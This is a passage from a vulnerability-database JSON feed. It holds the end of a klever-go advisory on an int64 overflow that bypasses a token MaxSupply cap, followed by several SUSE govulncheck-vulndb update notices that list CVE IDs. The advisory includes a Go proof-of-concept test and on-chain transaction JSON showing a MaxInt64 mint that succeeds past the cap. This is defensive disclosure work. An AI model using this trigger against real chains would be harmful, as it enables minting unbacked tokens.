after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nSFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds\nnormally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh\nreceiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address —\nno `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held\nnonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is\nspecifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.)\n\n\u003cdetails\u003e\u003csummary\u003eSetup mint — nonce 1 minted normally with \u003ccode\u003eamount=1\u003c/code\u003e (hash \u003ccode\u003e21e8059e…b55aad1a\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n    \"blockNum\": 463,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 1\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF\",\n                \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                \"amount\": 1\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eExploit — \u003ccode\u003eMaxInt64\u003c/code\u003e add-quantity to a fresh receiver, result \u003ccode\u003eOk\u003c/code\u003e, cap 1000 bypassed (hash \u003ccode\u003e8aff40fa…2e1c981e\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n    \"blockNum\": 484,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 9223372036854775807\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF/1\",\n                \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                \"amount\": 9223372036854775807\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\n1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g.\n   `if meta.Circulation \u003c 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue \u003c= 0` pattern), or\n   check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic.\n2. Consensus-affecting → gate behind the next activation flag.","status":"published","published":"2026-08-28T22:08:56Z","modified":"2026-09-02T19:55:38.987330614Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T15:46:52.170928Z"},{"id":"GO-2026-6330","title":"klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply in github.com/klever-io/klever-go","description":"klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply in github.com/klever-io/klever-go","status":"published","published":"2026-09-02T18:37:27Z","modified":"2026-09-02T19:45:12.642737946Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21812-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:52:09Z","modified":"2026-09-10T18:23:18.964541257Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23692-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.31116925Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23712-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:28:52Z","modified":"2026-09-29T18:23:12.805639295Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}